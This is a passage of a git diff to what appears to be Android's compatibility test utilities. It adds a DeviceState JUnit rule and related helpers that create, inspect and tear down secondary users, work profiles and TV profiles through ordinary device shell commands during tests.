+        this(context, context.getApplicationContext().getSystemService(WifiManager.class));
+    }
+
+    public WifiConfigCreator(Context context, WifiManager wifiManager) {
         mContext = context;
-        mWifiManager = (WifiManager)
-                context.getApplicationContext().getSystemService(Context.WIFI_SERVICE);
+        mWifiManager = wifiManager;
     }
 
     /**
@@ -80,7 +83,9 @@
         int netId = mWifiManager.addNetwork(wifiConf);
 
         if (netId != -1) {
+            Log.i(TAG, "Added SSID '" + ssid + "': netId = " + netId + "; enabling it");
             mWifiManager.enableNetwork(netId, true);
+            Log.i(TAG, "SSID '" + ssid + "' enabled!");
         } else {
             Log.w(TAG, "Unable to add SSID '" + ssid + "': netId = " + netId);
         }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
index 119525d..0f4c62d 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
@@ -67,7 +67,7 @@
     public boolean startProvisioningAndWait(Intent provisioningIntent) throws InterruptedException {
         wakeUpAndDismissInsecureKeyguard();
         mContext.startActivity(getStartIntent(provisioningIntent));
-        Log.i(TAG, "startActivity with intent: " + provisioningIntent);
+        Log.i(TAG, "startActivity on user " + mContext.getUserId() + " with " + provisioningIntent);
 
         if (ACTION_PROVISION_MANAGED_PROFILE.equals(provisioningIntent.getAction())) {
             return waitManagedProfileProvisioning();
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceAdminReceiverUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceAdminReceiverUtils.java
new file mode 100644
index 0000000..d1d7dcb
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceAdminReceiverUtils.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.enterprise;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * Helper class for {@link android.app.admin.DeviceAdminReceiver} implementations.
+ */
+public final class DeviceAdminReceiverUtils {
+
+    private static final String TAG = DeviceAdminReceiverUtils.class.getSimpleName();
+    private static final boolean DEBUG = false;
+
+    private static final String ACTION_DISABLE_SELF = "disable_self";
+
+    /**
+     * Disables itself as profile / owner upon receiving a {@value #ACTION_DISABLE_SELF} intent.
+     *
+     * <p>This is useful during {@code CTS} development, so the admin can be disabled without a
+     * factory reset, when for some reason the test fails to disable it.
+     *
+     * <p>Typical usage:
+     * <pre><code>
+       public void onReceive(Context context, Intent intent) {
+            if (DeviceAdminReceiverUtils.disableSelf(context, intent)) return;
+            super.onReceive(context, intent);
+       }
+     * </code></pre>
+     *
+     * <p>Then {@code adb shell am broadcast --user USER -a disable_self PACKAGE/RECEIVER}.
+     * <b>Note:</b> caller needs the {@code BIND_DEVICE_ADMIN} permission, so you need to call
+     * {@code adb root} first.
+     *
+     * @return whether the intent was processed or not.
+     */
+    public static boolean disableSelf(Context context, Intent intent) {
+        String action = intent.getAction();
+        int userId = context.getUserId();
+        if (!action.equals(ACTION_DISABLE_SELF)) {
+            if (DEBUG) Log.d(TAG, "Ignoring " + action + " for user " + userId);
+            return false;
+        }
+        DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+        String packageName = context.getPackageName();
+        if (dpm.isDeviceOwnerApp(packageName)) {
+            Log.i(TAG, "Disabling " + packageName + " as device owner for user " + userId);
+            dpm.clearDeviceOwnerApp(packageName);
+            if (DEBUG) Log.d(TAG, "Disabled");
+        } else if (dpm.isProfileOwnerApp(packageName)) {
+            ComponentName admin = dpm.getProfileOwner();
+            Log.i(TAG, "Disabling " + admin.flattenToShortString() + " as profile owner for user "
+                    + userId);
+            dpm.clearProfileOwner(admin);
+            if (DEBUG) Log.d(TAG, "Disabled");
+        } else {
+            Log.e(TAG, "Package " + packageName + " is neither device nor profile owner for user "
+                    + userId);
+        }
+        return true;
+    }
+
+    private DeviceAdminReceiverUtils() {
+        throw new UnsupportedOperationException("contains only static methods");
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java
new file mode 100644
index 0000000..8b83757
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java
@@ -0,0 +1,687 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util.enterprise;
+
+import static android.app.UiAutomation.FLAG_DONT_USE_ACCESSIBILITY;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import static java.nio.charset.StandardCharsets.UTF_8;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.os.UserHandle;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.android.bedstead.harrier.annotations.FailureMode;
+import com.android.bedstead.harrier.annotations.RequireFeatures;
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+import com.android.compatibility.common.util.enterprise.annotations.EnsureHasSecondaryUser;
+import com.android.compatibility.common.util.enterprise.annotations.EnsureHasTvProfile;
+import com.android.compatibility.common.util.enterprise.annotations.EnsureHasWorkProfile;
+import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnPrimaryUser;
+import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnSecondaryUser;
+import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnTvProfile;
+import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnWorkProfile;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.NoSuchElementException;
+import java.util.Scanner;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+/**
+ * A Junit rule which exposes methods for efficiently changing and querying device state.
+ *
+ * <p>States set by the methods on this class will by default be cleaned up after the test.
+ *
+ *
+ * <p>Using this rule also enforces preconditions in annotations from the
+ * {@code com.android.comaptibility.common.util.enterprise.annotations} package.
+ *
+ * {@code assumeTrue} will be used, so tests which do not meet preconditions will be skipped.
+ */
+public final class DeviceState implements TestRule {
+
+    private final Context mContext = ApplicationProvider.getApplicationContext();
+    private static final String SKIP_TEST_TEARDOWN_KEY = "skip-test-teardown";
+    private static final String SKIP_TESTS_REASON_KEY = "skip-tests-reason";
+    private final boolean mSkipTestTeardown;
+    private boolean mSkipTests;
+    private String mSkipTestsReason;
+
+    private static final String MANAGED_PROFILE_TYPE = "android.os.usertype.profile.MANAGED";
+    private static final String TV_PROFILE_TYPE = "com.android.tv.profile";
+    private static final String SECONDARY_USER_TYPE = "android.os.usertype.full.SECONDARY";
+    private static final String MANAGED_PROFILE_FLAG = "MANAGED_PROFILE";
+
+    public DeviceState() {
+        Bundle arguments = InstrumentationRegistry.getArguments();
+        mSkipTestTeardown = Boolean.parseBoolean(arguments.getString(SKIP_TEST_TEARDOWN_KEY, "false"));
+        mSkipTestsReason = arguments.getString(SKIP_TESTS_REASON_KEY, "");
+        mSkipTests = !mSkipTestsReason.isEmpty();
+    }
+
+    @Override public Statement apply(final Statement base,
+            final Description description) {
+
+        if (description.isTest()) {
+            return applyTest(base, description);
+        } else if (description.isSuite()) {
+            return applySuite(base, description);
+        }
+        throw new IllegalStateException("Unknown description type: " + description);
+    }
+
+    private Statement applyTest(final Statement base, final Description description) {
+        return new Statement() {
+            @Override public void evaluate() throws Throwable {
+                Log.d("DeviceState", "Preparing state for test " + description.getMethodName());
+
+                assumeFalse(mSkipTestsReason, mSkipTests);
+
+                if (description.getAnnotation(RequireRunOnPrimaryUser.class) != null) {
+                    assumeTrue("@RequireRunOnPrimaryUser tests only run on primary user",
+                            isRunningOnPrimaryUser());
+                }
+                if (description.getAnnotation(RequireRunOnWorkProfile.class) != null) {
+                    assumeTrue("@RequireRunOnWorkProfile tests only run on work profile",
+                            isRunningOnWorkProfile());
+                }
+                if (description.getAnnotation(RequireRunOnSecondaryUser.class) != null) {
+                    assumeTrue("@RequireRunOnSecondaryUser tests only run on secondary user",
+                            isRunningOnSecondaryUser());
+                }
+                if (description.getAnnotation(RequireRunOnTvProfile.class) != null) {
+                    assumeTrue("@RequireRunOnTvProfile tests only run on TV profile",
+                            isRunningOnTvProfile());
+                }
+                EnsureHasWorkProfile ensureHasWorkAnnotation =
+                        description.getAnnotation(EnsureHasWorkProfile.class);
+                if (ensureHasWorkAnnotation != null) {
+                    ensureHasWorkProfile(
+                            /* installTestApp= */ ensureHasWorkAnnotation.installTestApp(),
+                            /* forUser= */ ensureHasWorkAnnotation.forUser()
+                    );
+                }
+                EnsureHasTvProfile ensureHasTvProfileAnnotation =
+                        description.getAnnotation(EnsureHasTvProfile.class);
+                if (ensureHasTvProfileAnnotation != null) {
+                    ensureHasTvProfile(
+                            /* installTestApp= */ ensureHasTvProfileAnnotation.installTestApp(),
+                            /* forUser= */ ensureHasTvProfileAnnotation.forUser()
+                    );
+                }
+                EnsureHasSecondaryUser ensureHasSecondaryUserAnnotation =
+                        description.getAnnotation(EnsureHasSecondaryUser.class);
+                if (ensureHasSecondaryUserAnnotation != null) {
+                    ensureHasSecondaryUser(
+                            /* installTestApp= */ ensureHasSecondaryUserAnnotation.installTestApp()
+                    );
+                }
+                RequireFeatures requireFeaturesAnnotation =
+                        description.getAnnotation(RequireFeatures.class);
+                if (requireFeaturesAnnotation != null) {
+                    for (String feature: requireFeaturesAnnotation.value()) {
+                        requireFeature(feature, requireFeaturesAnnotation.failureMode());
+                    }
+                }
+
+                Log.d("DeviceState", "Finished preparing state for test " + description.getMethodName());
+
+                try {
+                    base.evaluate();
+                } finally {
+                    Log.d("DeviceState", "Tearing down state for test " + description.getMethodName());
+                    teardownNonShareableState();
+                    if (!mSkipTestTeardown) {
+                        teardownShareableState();
+                    }
+                    Log.d("DeviceState", "Finished tearing down state for test " + description.getMethodName());
+                }
+            }};
+    }
+
+    private Statement applySuite(final Statement base, final Description description) {
+        return base;
+    }
+
+    private void requireFeature(String feature, FailureMode failureMode) {
+        if (failureMode.equals(FailureMode.FAIL)) {
+            assertThat(mContext.getPackageManager().hasSystemFeature(feature)).isTrue();
+        } else if (failureMode.equals(FailureMode.SKIP)) {
+            assumeTrue("Device must have feature " + feature,
+                    mContext.getPackageManager().hasSystemFeature(feature));
+        } else {
+            throw new IllegalStateException("Unknown failure mode: " + failureMode);
+        }
+    }
+
+    private void requireUserSupported(String userType) {
+        assumeTrue("Device must support user type " + userType + " only supports: " + getSupportedProfileTypes(), getSupportedProfileTypes().contains(userType));
+    }
+
+    public enum UserType {
+        CURRENT_USER,
+        PRIMARY_USER,
+        SECONDARY_USER,
+        WORK_PROFILE,
+        TV_PROFILE,
+    }
+
+    private static final String LOG_TAG = "DeviceState";
+
+    private static final Instrumentation sInstrumentation =
+            InstrumentationRegistry.getInstrumentation();
+
+    /**
+     * Copied from {@link android.content.pm.UserInfo}.
+     */
+    private static final int FLAG_PRIMARY = 0x00000001;
+
+    /**
+     * Copied from {@link android.content.pm.UserInfo}.
+     */
+    private static final int FLAG_MANAGED_PROFILE = 0x00000020;
+
+    /**
+     * Copied from {@link android.content.pm.UserInfo}.
+     */
+    private static final int FLAG_FULL = 0x00000400;
+
+    private List<Integer> createdUserIds = new ArrayList<>();
+    private List<BlockingBroadcastReceiver> registeredBroadcastReceivers = new ArrayList<>();
+
+    private UiAutomation mUiAutomation;
+    private final int MAX_UI_AUTOMATION_RETRIES = 5;
+
+    @Nullable
+    public UserHandle getWorkProfile() {
+        return getWorkProfile(/* forUser= */ UserType.CURRENT_USER);
+    }
+
+    @Nullable
+    public UserHandle getWorkProfile(UserType forUser) {
+        Integer workProfileId = getWorkProfileId(forUser);
+        if (workProfileId == null) {
+            return null;
+        }
+        return UserHandle.of(workProfileId);
+    }
+
+    @Nullable
+    private Integer getWorkProfileId() {
+        return getWorkProfileId(/* forUser= */ UserType.CURRENT_USER);
+    }
+
+    @Nullable
+    private Integer getWorkProfileId(UserType forUser) {
+        int forUserId = resolveUserTypeToUserId(forUser);
+
+        for (UserInfo userInfo : listUsers()) {
+            if (userInfo.flags.contains(MANAGED_PROFILE_FLAG) && userInfo.parent == forUserId) {
+                return userInfo.id;
+            }
+        }
+
+        return null;
+    }
+
+    public boolean isRunningOnWorkProfile() {
+        UserInfo currentUser = getUserInfoForId(UserHandle.myUserId());
+        return currentUser.flags.contains(MANAGED_PROFILE_FLAG);
+    }
+
+    @Nullable
+    public UserHandle getTvProfile() {
+        return getTvProfile(/* forUser= */ UserType.CURRENT_USER);
+    }
+
+    @Nullable
+    public UserHandle getTvProfile(UserType forUser) {
+        Integer tvProfileId = getTvProfileId(forUser);
+        if (tvProfileId == null) {
+            return null;
+        }
+        return UserHandle.of(tvProfileId);
+    }
+
+    @Nullable
+    private Integer getTvProfileId() {
+        return getTvProfileId(/* forUser= */ UserType.CURRENT_USER);
+    }
+
+    @Nullable
+    private Integer getTvProfileId(UserType forUser) {
+        int forUserId = resolveUserTypeToUserId(forUser);
+
+        for (UserInfo userInfo : listUsers()) {
+            if (userInfo.type.equals(TV_PROFILE_TYPE) && userInfo.parent == forUserId) {
+                return userInfo.id;
+            }
+        }
+
+        return null;
+    }
+
+    public boolean isRunningOnTvProfile() {
+        UserInfo currentUser = getUserInfoForId(UserHandle.myUserId());
+        return currentUser.type.equals(TV_PROFILE_TYPE);
+    }
+
+    @Nullable
+    private UserInfo getUserInfoForId(int userId) {
+        for (UserInfo userInfo : listUsers()) {
+            if (userInfo.id == userId) {
+                return userInfo;
+            }
+        }
+
+        return null;
+    }
+
+    public boolean isRunningOnPrimaryUser() {
+        return android.os.UserHandle.myUserId() == getPrimaryUserId();
+    }
+
+    public boolean isRunningOnSecondaryUser() {
+        return getUserInfoForId(UserHandle.myUserId()).type.equals(SECONDARY_USER_TYPE);
+    }
+
+    /**
+     * Get the first human user on the device.
+     *
+     * <p>Returns {@code null} if there is none present.
+     */
+    @Nullable
+    public UserHandle getPrimaryUser() {
+        Integer primaryUserId = getPrimaryUserId();
+        if (primaryUserId == null) {
+            return null;
+        }
+        return UserHandle.of(primaryUserId);
+    }
+
+    /**
+     * Get the first human user on the device other than the primary user.
+     *
+     * <p>Returns {@code null} if there is none present.
+     */
+    @Nullable
+    public UserHandle getSecondaryUser() {
+        Integer secondaryUserId = getSecondaryUserId();
+        if (secondaryUserId == null) {
+            return null;
+        }
+        return UserHandle.of(secondaryUserId);
+    }
+
+    /**
+     * Get the user ID of the first human user on the device.
+     *
+     * <p>Returns {@code null} if there is none present.
+     */
+    @Nullable
+    private Integer getPrimaryUserId() {
+        for (UserInfo user : listUsers()) {
+            if (user.isPrimary) {
+                return user.id;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Get the user ID of a human user on the device other than the primary user.
+     *
+     * <p>Returns {@code null} if there is none present.
+     */
+    @Nullable
+    private Integer getSecondaryUserId() {
+        for (UserInfo user : listUsers()) {
+            if (user.type.equals(SECONDARY_USER_TYPE)) {
+                return user.id;
+            }
+        }
+        return null;
+    }
+
+    private static class UserInfo {
+        final int id;
+        final String type;
+        final int parent;
+        final boolean isPrimary;
+        final boolean removing;
+        final Set<String> flags;
+
+        UserInfo(int id, String type, int parent, boolean isPrimary, boolean removing, Set<String> flags) {
+            this.id = id;
+            this.type = type;
+            this.parent = parent;
+            this.isPrimary = isPrimary;
+            this.removing = removing;
+            this.flags = flags;
+        }
+
+        @Override
+        public String toString() {
+            return "UserInfo{id=" + id + ", type=" + type + ", parent=" + parent + ", isPrimary=" + isPrimary + ", flags=" + flags.toString();
+        }
+    }
+
+    private static final Pattern USERS_ID_PATTERN = Pattern.compile("UserInfo\\{(\\d+):");
+    private static final Pattern USERS_TYPE_PATTERN = Pattern.compile("Type: (.+)");
+    private static final Pattern USERS_PARENT_PATTERN = Pattern.compile("parentId=(\\d+)");
+    private static final Pattern USERS_FLAGS_PATTERN = Pattern.compile("Flags: \\d+ \\((.*)\\)");
+
+
+    private Set<UserInfo> listUsers() {
+        return listUsers(/* includeRemoving= */ false);
+    }
+
+
+    private Set<UserInfo> listUsers(boolean includeRemoving) {
+        String command = "dumpsys user";
+        String commandOutput = runCommandWithOutput(command);
+
+        String userArea = commandOutput.split("Users:.*\n")[1].split("\n\n")[0];
+        Set<String> userStrings = new HashSet<>();
+        Set<UserInfo> listUsers = new HashSet<>();
+
+        StringBuilder builder = null;
+        for (String line : userArea.split("\n")) {
+            if (line.contains("UserInfo{")) {
+                // Starting a new line
+                if (builder != null ){
+                    userStrings.add(builder.toString());
+                }
+                builder = new StringBuilder(line).append("\n");
+            } else {
+                builder.append(line).append("\n");
+            }
+        }
+        if (builder != null) {
+            userStrings.add(builder.toString());
+        }
+
+        for (String userString : userStrings) {
+            Matcher userIdMatcher = USERS_ID_PATTERN.matcher(userString);
+            if (!userIdMatcher.find()) {
+                throw new IllegalStateException("Bad dumpsys user output: " + commandOutput);
+            }
+            int userId = Integer.parseInt(userIdMatcher.group(1));
+            Matcher userTypeMatcher = USERS_TYPE_PATTERN.matcher(userString);
+            if (!userTypeMatcher.find()) {
+                throw new IllegalStateException("Bad dumpsys user output: " + commandOutput);
+            }
+            String userType = userTypeMatcher.group(1);
+            Matcher userParentMatcher = USERS_PARENT_PATTERN.matcher(userString);
+            int userParent = -1;
+            if (userParentMatcher.find()) {
+                userParent = Integer.parseInt(userParentMatcher.group(1));
+            }
+            boolean isPrimary = userString.contains("isPrimary=true");
+            Matcher userFlagsMatcher = USERS_FLAGS_PATTERN.matcher(userString);
+            if (!userFlagsMatcher.find()) {
+                throw new IllegalStateException("Bad dumpsys user output: " + commandOutput);
+            }
+            boolean removing = userString.contains("<removing>");
+
+            Set<String> flagNames = new HashSet<>();
+            for (String flag : userFlagsMatcher.group(1).split("\\|")) {
+                flagNames.add(flag);
+            }
+
+            if (!removing || includeRemoving) {
+                listUsers.add(
+                        new UserInfo(userId, userType, userParent, isPrimary, removing, flagNames));
+            }
+        }
+
+        return listUsers;
+    }
+
+    public void ensureHasWorkProfile(boolean installTestApp, UserType forUser) {
+        requireFeature("android.software.managed_users", FailureMode.SKIP);
+        requireUserSupported(MANAGED_PROFILE_TYPE);
+
+        if (getWorkProfileId(forUser) == null) {
+            createWorkProfile(resolveUserTypeToUserId(forUser));
+        }
+        int workProfileId = getWorkProfileId(forUser);
+
+        // TODO(scottjonathan): Can make this quicker by checking if we're already running
+        runCommandWithOutput("am start-user -w " + workProfileId);
+        if (installTestApp) {
+            installInProfile(workProfileId,
+                    sInstrumentation.getContext().getPackageName());
+        } else {
+            uninstallFromProfile(workProfileId,
+                    sInstrumentation.getContext().getPackageName());
+        }
+    }
+
+    public void ensureHasTvProfile(boolean installTestApp, UserType forUser) {
+        requireUserSupported(TV_PROFILE_TYPE);
+
+        if (getTvProfileId(forUser) == null) {
+            createTvProfile(resolveUserTypeToUserId(forUser));
+        }
+        if (installTestApp) {
+            installInProfile(getTvProfileId(forUser),
+                    sInstrumentation.getContext().getPackageName());
+        } else {
+            uninstallFromProfile(getTvProfileId(forUser),
+                    sInstrumentation.getContext().getPackageName());
+        }
+    }
+
+    public void ensureHasSecondaryUser(boolean installTestApp) {
+        requireUserSupported("android.os.usertype.full.SECONDARY");
+        if (getSecondaryUserId() == null) {
+            createSecondaryUser();
+        }
+        if (installTestApp) {
+            installInProfile(getSecondaryUserId(), sInstrumentation.getContext().getPackageName());
+        } else {
+            uninstallFromProfile(getSecondaryUserId(),
+                    sInstrumentation.getContext().getPackageName());
+        }
+    }
+
+    public void requireCanSupportAdditionalUser() {
+        int maxUsers = getMaxNumberOfUsersSupported();
+        int currentUsers = listUsers().size();
+
+        assumeTrue("The device does not have space for an additional user (" + currentUsers +
+                " current users, " + maxUsers + " max users)", currentUsers + 1 <= maxUsers);
+    }
+
+    /**
+     * Create and register a {@link BlockingBroadcastReceiver} which will be unregistered after the
+     * test has run.
+     */
+    public BlockingBroadcastReceiver registerBroadcastReceiver(String action) {
+        BlockingBroadcastReceiver broadcastReceiver =
+                new BlockingBroadcastReceiver(mContext, action);
+        broadcastReceiver.register();
+        registeredBroadcastReceivers.add(broadcastReceiver);
+
+        return broadcastReceiver;
+    }
+
+    private int resolveUserTypeToUserId(UserType userType) {
+        switch (userType) {
+            case CURRENT_USER:
+                return android.os.UserHandle.myUserId();
+            case PRIMARY_USER:
+                return getPrimaryUserId();
+            case SECONDARY_USER:
+                return getSecondaryUserId();
+            case WORK_PROFILE:
+                return getWorkProfileId();
+            case TV_PROFILE:
+                return getTvProfileId();
+            default:
+                throw new IllegalArgumentException("Unknown user type " + userType);
+        }
+    }
+
+    private void teardownNonShareableState() {
+        for (BlockingBroadcastReceiver broadcastReceiver : registeredBroadcastReceivers) {
+            broadcastReceiver.unregisterQuietly();
+        }
+        registeredBroadcastReceivers.clear();
+    }
+
+    private void teardownShareableState() {
+        for (Integer userId : createdUserIds) {
+            runCommandWithOutput("pm remove-user " + userId);
+        }
+
+        createdUserIds.clear();
+    }
+
+    private void createWorkProfile(int parentUserId) {
+        requireCanSupportAdditionalUser();
+        final String createUserOutput =
+                runCommandWithOutput(
+                        "pm create-user --profileOf " + parentUserId + " --managed work");
+        final int profileId = Integer.parseInt(createUserOutput.split(" id ")[1].trim());
+        createdUserIds.add(profileId);
+    }
+
+    private void createTvProfile(int parentUserId) {
+        requireCanSupportAdditionalUser();
+        final String createUserOutput =
+                runCommandWithOutput(
+                        "pm create-user --profileOf " + parentUserId + " --user-type "
+                                + TV_PROFILE_TYPE + " tv");
+        final int profileId = Integer.parseInt(createUserOutput.split(" id ")[1].trim());
+        runCommandWithOutput("am start-user -w " + profileId);
+        createdUserIds.add(profileId);
+    }
+
+    private void createSecondaryUser() {
+        requireCanSupportAdditionalUser();
+        final String createUserOutput =
+                runCommandWithOutput("pm create-user secondary");
+        final int userId = Integer.parseInt(createUserOutput.split(" id ")[1].trim());
+        runCommandWithOutput("am start-user -w " + userId);
+        createdUserIds.add(userId);
+    }
+
+    private void installInProfile(int profileId, String packageName) {
+        runCommandWithOutput("pm install-existing --user " + profileId + " " + packageName);
+    }
+
+    private void uninstallFromProfile(int profileId, String packageName) {
+        runCommandWithOutput("pm uninstall --user " + profileId + " " + packageName);
+    }
+
+    private String runCommandWithOutput(String command) {
+        ParcelFileDescriptor p = runCommand(command);
+
+        try (Scanner scanner = new Scanner(new ParcelFileDescriptor.AutoCloseInputStream(p),
+                UTF_8.name())) {
+            String s = scanner.useDelimiter("\\A").next();
+            Log.d("DeviceState", "Running command " + command + " got output: " + s);
+            return s;
+        } catch (NoSuchElementException e) {
+            Log.d("DeviceState", "Running command " + command + " with no output", e);
+            return "";
+        }
+    }
+
+    private ParcelFileDescriptor runCommand(String command) {
+        Log.d("DeviceState", "Running command " + command);
+        return getAutomation()
+                .executeShellCommand(command);
+    }
+
+    private UiAutomation getAutomation() {
+        if (mUiAutomation != null) {
+            return mUiAutomation;
+        }
+
+        int retries = MAX_UI_AUTOMATION_RETRIES;
+        mUiAutomation = sInstrumentation.getUiAutomation(FLAG_DONT_USE_ACCESSIBILITY);
+        while (mUiAutomation == null && retries > 0) {
+            Log.e(LOG_TAG, "Failed to get UiAutomation");
+            retries--;
+            mUiAutomation = sInstrumentation.getUiAutomation(FLAG_DONT_USE_ACCESSIBILITY);
+        }
+
+        if (mUiAutomation == null) {
+            throw new AssertionError("Could not get UiAutomation");
+        }
+
+        return mUiAutomation;
+    }
+
+    private int getMaxNumberOfUsersSupported() {
+        String command = "pm get-max-users";
+        String commandOutput = runCommandWithOutput(command);
+        try {
+            return Integer.parseInt(commandOutput.substring(commandOutput.lastIndexOf(" ")).trim());
+        } catch (NumberFormatException e) {
+            throw new IllegalStateException("Invalid command output", e);
+        }
+    }
+
+    private Set<String> mSupportedProfileTypesCache = null;
+    private static final Pattern USER_TYPE_PATTERN = Pattern.compile("mName: (.+)");
+
+    private Set<String> getSupportedProfileTypes() {
+        if (mSupportedProfileTypesCache != null) {
+            return mSupportedProfileTypesCache;
+        }
+
+        String command = "dumpsys user";
+        String commandOutput = runCommandWithOutput(command);
+
+        String userArea = commandOutput.split("User types \\(\\d+ types\\):")[1].split("\n\n")[0];
+        mSupportedProfileTypesCache = new HashSet<>();
+
+        Matcher matcher = USER_TYPE_PATTERN.matcher(userArea);
+
+        while(matcher.find()) {
+            mSupportedProfileTypesCache.add(matcher.group(1));
+        }
+
+        return mSupportedProfileTypesCache;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS
new file mode 100644
index 0000000..b37176e
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS
@@ -0,0 +1,7 @@
+# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
+alexkershaw@google.com
+eranm@google.com
+rubinxu@google.com
+sandness@google.com
+pgrafov@google.com
+scottjonathan@google.com
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasSecondaryUser.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasSecondaryUser.java
new file mode 100644
index 0000000..a9718bb
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasSecondaryUser.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util.enterprise.annotations;
+
+import com.android.compatibility.common.util.enterprise.DeviceState;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run on a device which has a secondary user that is not the
+ * current user.
+ *
+ * <p>Your test configuration may be configured so that this test is only run on a device which
+ * has a secondary user that is not the current user. Otherwise, you can use {@link DeviceState}
+ * to ensure that the device enters the correct state for the method. If there is not already a
+ * secondary user on the device, and the device does not support creating additional users, then
+ * the test will be skipped.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface EnsureHasSecondaryUser {
+    /** Whether the test app should be installed in the secondary user. */
+    boolean installTestApp() default true;
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasTvProfile.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasTvProfile.java
new file mode 100644
index 0000000..f085a9b
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasTvProfile.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util.enterprise.annotations;
+
+import static com.android.compatibility.common.util.enterprise.DeviceState.UserType.CURRENT_USER;
+
+import com.android.compatibility.common.util.enterprise.DeviceState;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run on a user which has a Tv profile.
+ *
+ * <p>Your test configuration may be configured so that this test is only run on a user which has
+ * a Tv profile. Otherwise, you can use {@link DeviceState} to ensure that the device enters
+ * the correct state for the method.
+ */
+@Target(ElementType.METHOD)
